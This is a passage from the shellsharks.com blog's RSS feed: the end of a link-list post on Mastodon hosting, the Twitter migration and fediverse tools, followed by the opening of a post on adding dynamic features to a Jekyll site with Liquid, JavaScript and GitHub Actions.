  &lt;li&gt;&lt;a href=&quot;https://blog.infosec.exchange/2022/12/22/scaling-mastodon-part-1/&quot;&gt;Scaling Mastodon - Part 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://someone.elses.computer/@laurence/109335661569754444&quot;&gt;Thread on running personal instance&lt;/a&gt; from &lt;a href=&quot;https://someone.elses.computer/@laurence&quot;&gt;@laurence@someone.elses.computer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Spinning up &lt;a href=&quot;https://blog.joinmastodon.org/2019/04/mastodon-now-available-on-digitalocean/&quot;&gt;Mastodon on DigitalOcean&lt;/a&gt; (from &lt;a href=&quot;https://infosec.exchange/@tinker&quot;&gt;@Tinker&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Thoughts on &lt;a href=&quot;https://masto.host/re-mastodon-media-storage/&quot;&gt;Mastodon media storage&lt;/a&gt; from &lt;a href=&quot;https://mastodon.social/@mastohost/109321864549298922&quot;&gt;@mastohost@mastodon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Mastodon/comments/yr95oc/cheapest_most_efficient_and_scalable_mastodon/&quot;&gt;Thread on Mastodon hosting&lt;/a&gt; (from Reddit).&lt;/li&gt;
  &lt;li&gt;Notes on &lt;a href=&quot;https://sick.social/@sickcodes/109331897031470832&quot;&gt;nginx confs&lt;/a&gt; per &lt;a href=&quot;https://sick.social/@sickcodes/109331897031470832&quot;&gt;@sickcodes@sick.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Some &lt;a href=&quot;https://github.com/Anthchirp/mastodon-defederate&quot;&gt;tools for running small instances&lt;/a&gt; courtesy of &lt;a href=&quot;https://mast.uxp.de/@markus/109332905203462824&quot;&gt;@markus@uxp.de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nora.codes/post/scaling-mastodon-in-the-face-of-an-exodus/&quot;&gt;Scaling Mastodon in the Face of an Exodus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rixx.de/blog/on-running-a-mastodon-instance/&quot;&gt;On Running a Mastodon Instance&lt;/a&gt; from &lt;a href=&quot;https://chaos.social/@rixx/107486676987936272&quot;&gt;@rixx@chaos.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bentasker.co.uk/posts/blog/general/running-mastodon-in-docker-compose.html&quot;&gt;Running a Mastodon Instance using docker-compose&lt;/a&gt; per &lt;a href=&quot;https://mastodon.bentasker.co.uk/@ben/109349116860032153&quot;&gt;@ben@mastodon.bentasker.co.uk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Enabling the &lt;a href=&quot;https://github.com/mastodon/mastodon/pull/19218&quot;&gt;translation service&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@charlesdardaman/109349109086315077&quot;&gt;@charlesdardaman@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=2a9YrLsE45Y&amp;amp;feature=youtu.be&quot;&gt;Build Your Own Mastodon Server on Debian&lt;/a&gt; from &lt;a href=&quot;https://fosstodon.org/@donwatkins/109354965867309656&quot;&gt;@donwatkins@fosstodon.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@Adman/109357323234464454&quot;&gt;Notes on setting up a Mastodon instance&lt;/a&gt; from &lt;a href=&quot;https://infosec.exchange/@Adman&quot;&gt;@Adman@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/widdix/mastodon-on-aws&quot;&gt;mastodon-on-aws&lt;/a&gt; per &lt;a href=&quot;https://mastodon.social/@honyocker/109360631128484873&quot;&gt;@honyocker@mastodon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Mitigate potential liability by registering with copyright office and designating an agent to receive &lt;a href=&quot;https://www.copyright.gov/dmca-directory/&quot;&gt;DMCA reports&lt;/a&gt; - per &lt;a href=&quot;https://twitter.com/rahaeli/status/1593819064161665024&quot;&gt;@rahaeli@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://denise.dreamwidth.org/91757.html&quot;&gt;A guide to potential liability pitfalls for people running a Mastodon instance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/@kris-nova/hachyderm-infrastructure-74f518bc7472&quot;&gt;Hachyderm Infrastructure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ae3.ch/mastodon-docker-traefik&quot;&gt;Mastodon with Docker and Traefik&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.riemann.cc/projects/mastodon-privacy-policy-generator/&quot;&gt;Mastodon Privacy Policy Generator&lt;/a&gt; per &lt;a href=&quot;https://chaos.social/@rriemann/109384055798565711&quot;&gt;@rriemann@chaos.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/flatcar/flatcar-mastodon&quot;&gt;Single-node deployment of Mastodon on Linux w/ Flatcar&lt;/a&gt; per &lt;a href=&quot;https://hachyderm.io/@ahrkrak/109404804707924178&quot;&gt;@ahrkrak@hachyderm.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.markloveless.net/blog/2022/12/5/mastodon-and-self-hosting&quot;&gt;Mastodon and Self-Hosting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eigenmagic.com/2022/11/29/scaling-mastodon-with-systemd-template-units/&quot;&gt;Scaling Mastodon with systemd Template Units&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://philna.sh/blog/2022/11/23/alias-your-mastodon-username-to-your-own-domain-with-jekyll/&quot;&gt;Alias your Mastodon Username to your own Domain with Jekyll&lt;/a&gt; per &lt;a href=&quot;https://mastodon.social/@philnash/109393416507109263&quot;&gt;@philnash@mastodon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://page.romeov.me/posts/setting-up-mastodon-with-nixos/&quot;&gt;Setting up your own Mastodon instance with Hetzner and NixOS&lt;/a&gt; per &lt;a href=&quot;https://social.romeov.me/@romeo/109300130246177513&quot;&gt;@romeo@social.romeov.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://decoded.legal/blog/2022/11/notes-on-operating-fediverse-services-mastodon-pleroma-etc-from-an-english-law-point-of-view&quot;&gt;Notes on operating fediver services from an English law point of view&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eff.org/deeplinks/2022/12/user-generated-content-and-fediverse-legal-primer&quot;&gt;User Generated Content and the Fediverse: A Legal Primer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dltj.org/article/mastodon-instance-reports/&quot;&gt;Mastodon Instance Operators Report on the Impact of the #TwitterMigration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cloudflare.com/welcome-to-wildebeest-the-fediverse-on-cloudflare/&quot;&gt;Welcome to Wildebeest: the Fediverse on Cloudflare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://mastoreqs.com/&quot;&gt;Mastoreqs.com&lt;/a&gt; from &lt;a href=&quot;https://vmst.io/@vmstan/110923949404950113&quot;&gt;@vmstan@vmst.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber.fsi.stanford.edu/io/news/common-abuses-mastodon-primer&quot;&gt;Common Abuses on Mastodon: A Primer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://josh.is-cool.dev/running-a-mastodon-instance-entirely-free-forever/&quot;&gt;Running a Mastodon instance entirely free forever&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://softwaremill.com/the-architecture-of-mastodon/&quot;&gt;The Architecture of Mastodon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;twitter-migration&quot;&gt;Twitter Migration&lt;/h1&gt;

&lt;p&gt;I’m not particularly interested in analyzing or writing much about what’s going on w/ Twitter. What I will say is that I’ve pretty much left (my account &lt;a href=&quot;https://twitter.com/shellsharks&quot;&gt;still exists&lt;/a&gt; but I am no longer looking at my feed and haven’t signed in since I joined &lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt;), and generally speaking, the &lt;a href=&quot;#infosec-community&quot;&gt;infosec community&lt;/a&gt; seems to have almost fully disowned the platform. From what I have read and seen, it does seem to have turned into a &lt;strong&gt;&lt;a href=&quot;https://twitterisgoinggreat.com&quot;&gt;dumpster fire&lt;/a&gt;&lt;/strong&gt;. I know not what the future holds for Twitter, but for many reasons &lt;a href=&quot;#my-take-on-mastodon-so-far&quot;&gt;I am happy with where I have landed&lt;/a&gt; and look forward to making Mastodon my long-term home, regardless of Twitter’s ultimate fate. That said, if you are interested in moving yourself or reading more about the &lt;a href=&quot;https://infosec.exchange/tags/twittermigration&quot;&gt;#twittermigration&lt;/a&gt;, check out the resources below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hughrundle.net/home-invasion/&quot;&gt;Home Invasion&lt;/a&gt;, thoughts on the mass-move to Mastodon.&lt;/li&gt;
  &lt;li&gt;Twitter migration &lt;a href=&quot;https://mstdn.social/@stevepdp/109324712532921940&quot;&gt;resources&lt;/a&gt; from &lt;a href=&quot;https://mstdn.social/@stevepdp&quot;&gt;@stevepdp@mstdn.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michae.lv/deleting-dms-from-twitter/&quot;&gt;Deleting DMs from Twitter using the GDPR&lt;/a&gt; per &lt;a href=&quot;https://someone.elses.computer/@mikarv/109326253999130984&quot;&gt;@mikarv@someone.elses.computer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://uxdesign.cc/mastodon-is-antiviral-design-42f090ab8d51&quot;&gt;Twitter alternative: how Mastodon is designed to be “antiviral”&lt;/a&gt; per &lt;a href=&quot;https://saturation.social/@clive/109321191553242136&quot;&gt;@clive@saturation.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Search for Mastodon accounts of the people you followed on Twitter via &lt;a href=&quot;https://pruvisto.org/debirdify/&quot;&gt;Debirdify&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Extract fediverse handles of your Twitter followings via &lt;a href=&quot;https://fedifinder.glitch.me&quot;&gt;Fedifinder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bulk-delete your tweets using &lt;a href=&quot;https://tweetdelete.net&quot;&gt;tweetdelete&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@gossithedog/109349388730356691&quot;&gt;@gossithedog@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Recover your Twitter threads using &lt;a href=&quot;https://gist.github.com/LeeHolmes/4ebeed5df73ac04678d7c954f74701e6&quot;&gt;Get-TwitterThread&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@Lee_Holmes/109349124264564741&quot;&gt;@Lee_Holmes@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grahamcluley.com/its-time-delete-your-twitter-dms/&quot;&gt;It’s time. Delete your Twitter DMs&lt;/a&gt; (Graham Cluley)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://semiphemeral.com&quot;&gt;semiphemeral&lt;/a&gt; - Automatically delete your old tweets, except for the ones you want to keep.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;expanded-fediverse&quot;&gt;Expanded Fediverse&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://mastodon.social/@sass&quot;&gt;I joined Mastodon in 2018&lt;/a&gt;, but never really made much of it at the time. I rejoined in earnest in November (2022) so I am obviously not a &lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt; pro nor particularly experienced/knowledgeable about the wider “Fediverse”. So I won’t pretend to be. Instead, here is some stuff that you may be interested in, and that I will continue to dig into as I have time…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Hints and tips about Mastodon and the Fediverse via &lt;a href=&quot;https://mstdn.social/@feditips&quot;&gt;Fedi.Tips&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joinbookwyrm.com/&quot;&gt;BookWyrm&lt;/a&gt; is the Fediverse altnernative to GoodReads&lt;/li&gt;
  &lt;li&gt;Some analysis on the &lt;a href=&quot;https://news.ycombinator.com/item?id=33545541&quot;&gt;existential threat&lt;/a&gt; to the Fediverse/Mastodon&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ariadne.space/2022/11/12/twitters-demise-is-activitypubs-future/&quot;&gt;Twitter’s demise is ActivityPub’s future&lt;/a&gt; per &lt;a href=&quot;https://social.treehouse.systems/@ariadne/109331275534427283&quot;&gt;@ariadne@treehouse.systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cfenollosa.com/blog/after-self-hosting-my-email-for-twenty-three-years-i-have-thrown-in-the-towel-the-oligopoly-has-won.html&quot;&gt;After self-hosting my email for twenty-three years I have thrown in the towel. The oligopoly has won.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tailscale.com/blog/2022-11-16-fediverse/&quot;&gt;Tailscale on the Fediverse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ar.al/2022/11/09/is-the-fediverse-about-to-get-fryed-or-why-every-toot-is-also-a-potential-denial-of-service-attack/&quot;&gt;Is the fediverse about to get Fryed?…&lt;/a&gt; via &lt;a href=&quot;https://mastodon.cloud/@timbray/109355955409064964&quot;&gt;@timbray@mastodon.cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/the-man-behind-mastodon-eugen-rochko-built-it-for-this-moment/&quot;&gt;The Man Behind Mastodon Built It for This Moment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://solidproject.org&quot;&gt;Solid Project&lt;/a&gt; from &lt;a href=&quot;https://noc.social/@Dcuthbert/109349466213486869&quot;&gt;@Dcuthbert@noc.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.comeetie.fr/galerie/mapstodon/&quot;&gt;Mapstodon&lt;/a&gt; via &lt;a href=&quot;https://infosec.exchange/@crankylinuxuser/109354229747733753&quot;&gt;@crankylinuxuser@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Find verified journalists on Mastodon &lt;a href=&quot;https://www.presscheck.org&quot;&gt;PressCheck.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eff.org/deeplinks/2022/11/fediverse-could-be-awesome-if-we-dont-screw-it&quot;&gt;The Fediverse Could be Awesome (if we don’t screw it up)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/nathanlesage/academics-on-mastodon&quot;&gt;Academics on Mastodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://minkiver.se/~/WebminkInDraft/Fediverse/&quot;&gt;The Fediverse As Composable Distributed Applications&lt;/a&gt; per &lt;a href=&quot;https://meshed.cloud/@webmink/109359937839481959&quot;&gt;@webmink@meshed.cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/13No4yxY-oFrN8PigC2jBWXreFCHWwVRTftwP6HcREtA/htmlview?resourcekey=undefined&amp;amp;pru=AAABhH2W2zA*V1PG7hJSTbifNCcDu40zLA#gid=1320898902&quot;&gt;Journalists on Mastodon&lt;/a&gt; per &lt;a href=&quot;https://mstdn.social/@terihannigan/109390048645653181&quot;&gt;@terihannigan@mstdn.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodon.social/@ChrisPirillo/109378559690955379&quot;&gt;The many branches of the Fediverse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x61.sh/log/2022/10/20221015T145211-honk.html&quot;&gt;honk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hyperborea.org/tech-tips/fediverse-feeds/&quot;&gt;Finding Fediverse Feeds&lt;/a&gt; per &lt;a href=&quot;https://wandering.shop/@KelsonV/109696121243401067&quot;&gt;@KelsonV@wandering.shop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thefedi.wiki&quot;&gt;The Fediverse Wiki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://catodon.social/@catodon/pages/introducing-catodon&quot;&gt;Catodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fediscanner.info&quot;&gt;FediScanner&lt;/a&gt; - Check Hashtag in the Fediverse&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediverse.fans&quot;&gt;Fediverse Fans&lt;/a&gt; - Organize lists of users on Mastodon-compatible platforms by their interests&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;more&quot;&gt;More&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodeck.com&quot;&gt;MastoDeck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tootfinder.ch&quot;&gt;Tootfinder&lt;/a&gt; - Proof of concept of an opt-in global Mastodon full text search.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediverse.info/explore/people&quot;&gt;Fediverse People Directory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joinmastodon.org/covenant&quot;&gt;Mastodon Server Convenant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thedoodleprojectcom.network.thedoodleproject.net/@derek/posts/204943312861091936/&quot;&gt;the doodle project&lt;/a&gt; - small hosted fediverse instances&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.topmastodonposts.com&quot;&gt;Top Mastodon Posts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastometrics.com&quot;&gt;MastoMetrics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.analytodon.com/&quot;&gt;Analytodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://metricdon.com/&quot;&gt;Metricdon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://communitywiki.org/trunk&quot;&gt;Trunk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@catsalad/111060637626965395&quot;&gt;Torified Fedi Links&lt;/a&gt; - List of Fediverse instances that provide access through .Onion servers. (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@catsalad&quot;&gt;@catsalad&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedionfire.stream&quot;&gt;Fedi on Fire 🔥&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedigov.eu&quot;&gt;Fedigov.eu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://agorasocial.app&quot;&gt;Agora&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.feedseer.com/welcome&quot;&gt;FeedSeer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hashtag.place&quot;&gt;HashTag Place&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://flathub.org/apps/dev.geopjr.Tuba&quot;&gt;Tuba&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://disabled.social/@kaveinthran/111867085944367247&quot;&gt;Collections of Mastodon resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastofeed.org&quot;&gt;MastoFeed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://justmytoots.com/@username@instance&quot;&gt;JustMyToots&lt;/a&gt; (&lt;em&gt;Change @username &amp;amp; @instance as appropriate&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediverse.info&quot;&gt;Fediverse.info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediview.com&quot;&gt;fediview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sepiasearch.org&quot;&gt;Sepia Search&lt;/a&gt; - PeerTube search engine&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedicw.info&quot;&gt;Fedi CW&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastovue.glitch.me/#/&quot;&gt;MastoVue&lt;/a&gt; - Peek into any public Mastodon Timeline or search for Hashtags&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mastodonlistmanager.org/main&quot;&gt;Mastodon List Manager&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://data.natty.sh/fedi-circles/&quot;&gt;Fedi Circles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://podcastap.com&quot;&gt;PodcastAP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://qa.mastoadmin.social&quot;&gt;MastoAnswers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://markwrites.io/guide-for-using-mastodon-search&quot;&gt;Guide for using Mastodon search&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://the-counterforce.org/guide-to-mastodon-fediverse/&quot;&gt;THE COUNTERFORCE GUIDE TO MASTODON AND THE FEDIVERSE (FOR PUNKS!)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 17 Nov 2022 09:39:00 -0500</pubDate>
        <link>https://shellsharks.com/mastodon</link>
        <guid isPermaLink="true">https://shellsharks.com/mastodon</guid>
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>mastodon</category>
        
        <category>fediverse</category>
        
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Dynamization of Jekyll</title>
        <shark:summary><p><a href="https://jekyllrb.com/">Jekyll</a> is a framework for creating websites/blogs using <strong>static</strong> plain-text files. Jekyll is used by <a href="https://pages.github.com/">GitHub Pages</a>, which is also the current hosting provider for <a href="https://shellsharks.com/">Shellsharks.com</a>. <a href="https://shellsharks.com/blogging-from-ipad#title">I’ve been using</a> Git Pages since the inception of my site and for the most part have no complaints. With that said, a purely <em>static</em> site has some limitations in terms of the types of content one can publish/expose.</p>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt; is a framework for creating websites/blogs using &lt;strong&gt;static&lt;/strong&gt; plain-text files. Jekyll is used by &lt;a href=&quot;https://pages.github.com&quot;&gt;GitHub Pages&lt;/a&gt;, which is also the current hosting provider for &lt;a href=&quot;https://shellsharks.com/&quot;&gt;Shellsharks.com&lt;/a&gt;. &lt;a href=&quot;https://shellsharks.com/blogging-from-ipad#title&quot;&gt;I’ve been using&lt;/a&gt; Git Pages since the inception of my site and for the most part have no complaints. With that said, a purely &lt;em&gt;static&lt;/em&gt; site has some limitations in terms of the types of content one can publish/expose.&lt;/p&gt;

&lt;p&gt;I recently got the idea to create a &lt;a href=&quot;https://shellsharks.com/statboard&quot;&gt;dashboard-like page&lt;/a&gt; which could display interesting quantitative data points (and other information) related to the site. Examples of these statistic include, total number of posts, the age of my site, when my blog was last updated, overall word count across all posts, etc… Out of the box, Jekyll is limited in its ability to generate this information in a &lt;em&gt;dynamic&lt;/em&gt; fashion. The Jekyll-infused GitHub pages engine generates the site via an inherent &lt;em&gt;pages-build-deployment&lt;/em&gt; &lt;a href=&quot;https://github.com/features/actions&quot;&gt;Git Action&lt;/a&gt; (&lt;a href=&quot;#git-actions&quot;&gt;more on this later&lt;/a&gt;) upon &lt;a href=&quot;https://github.com/git-guides/git-commit&quot;&gt;commit&lt;/a&gt;. The site will then stay static until the next build. As such, it has limited native ability to update content in-between builds/manual-commits.&lt;/p&gt;

&lt;p&gt;To solve for this issue, I’ve started using a variety of techniques/technologies (&lt;em&gt;listed below&lt;/em&gt;) to introduce more &lt;em&gt;dynamic&lt;/em&gt; functionality to my site (and more specificially, the aforementioned &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/statboard&quot;&gt;statboard&lt;/a&gt;&lt;/strong&gt;).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#jekyll-liquid&quot;&gt;Jekyll Liquid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#javascript--jquery&quot;&gt;JavaScript &amp;amp; jQuery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#git-actions&quot;&gt;Git Actions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Advanced Git Actions (&lt;em&gt;*Future Update!*&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;jekyll-liquid&quot;&gt;Jekyll Liquid&lt;/h2&gt;
&lt;p&gt;Though not truly “&lt;em&gt;dynamic&lt;/em&gt;”, &lt;strong&gt;&lt;a href=&quot;https://jekyllrb.com/docs/liquid/&quot;&gt;Liquid&lt;/a&gt;*&lt;/strong&gt; templating language is an easy, &lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt;-native way to generate static content in a quasi-dynamic way at site build time. As an example, if I wanted to denote the exact date and time that a blog post was published I might first try to use the Liquid template &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{{ site.time }}&lt;/code&gt;. What this actually ends up giving me is a time stamp for when the site was &lt;em&gt;built&lt;/em&gt; (e.g. &lt;em&gt;2026-04-19 02:34:56 -0400&lt;/em&gt;), rather than the last updated date of the post itself. So instead, I can harness the posts custom &lt;a href=&quot;https://jekyllrb.com/docs/front-matter/&quot;&gt;front matter&lt;/a&gt;, such as “&lt;em&gt;updated:&lt;/em&gt;”, and access that value using the tag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{{ page.updated }}&lt;/code&gt; (so we get, __).&lt;/p&gt;

&lt;p&gt;One component on the (existing) Shellsharks &lt;a href=&quot;https://shellsharks.com/statboard&quot;&gt;statboard&lt;/a&gt; calculates the &lt;em&gt;age&lt;/em&gt; of the site using the &lt;em&gt;last updated date&lt;/em&gt; of the site (&lt;em&gt;maintained in the &lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;change log&lt;/a&gt;&lt;/em&gt;), minus the &lt;em&gt;publish date&lt;/em&gt; of the &lt;a href=&quot;https://shellsharks.com/getting-into-information-security&quot;&gt;first-ever&lt;/a&gt; Shellsharks post. Since a static, Jekyll-based, &lt;a href=&quot;https://pages.github.com&quot;&gt;GitHub Pages&lt;/a&gt; site is only built (and thus only updated) when I actually physically &lt;a href=&quot;https://github.com/git-guides/git-commit&quot;&gt;commit&lt;/a&gt; an update, this component will be out of date if I do not commit atleast daily. So how did I solve for this? Enter &lt;a href=&quot;#git-actions&quot;&gt;Git Actions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; Learn more about the tags, filters and other capabilities of &lt;a href=&quot;https://shopify.github.io/liquid/&quot;&gt;Liquid here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;javascript--jquery&quot;&gt;JavaScript &amp;amp; jQuery&lt;/h2&gt;
&lt;p&gt;Before we dive into the power of &lt;a href=&quot;#git-actions&quot;&gt;Git Actions&lt;/a&gt;, it’s worth mentioning the ability to add dynamism by simply dropping straight up, in-line &lt;strong&gt;&lt;a href=&quot;https://www.javascript.com&quot;&gt;JavaScript&lt;/a&gt;&lt;/strong&gt; directly into the page/post &lt;a href=&quot;https://daringfireball.net/projects/markdown/&quot;&gt;Markdown&lt;/a&gt; (&lt;em&gt;.md&lt;/em&gt;) files. Remember, &lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt; produces &lt;em&gt;.html&lt;/em&gt; files directly from static, text-based files (&lt;em&gt;like Markdown&lt;/em&gt;). So the inclusion of raw &lt;strong&gt;JS&lt;/strong&gt; syntax will translate into embdedded, executable JS code in the final, generated &lt;a href=&quot;https://www.w3schools.com/html/html_intro.asp&quot;&gt;HTML&lt;/a&gt; files. &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-add-javascript-to-html&quot;&gt;The usual rules&lt;/a&gt; for in-page JS apply here.&lt;/p&gt;

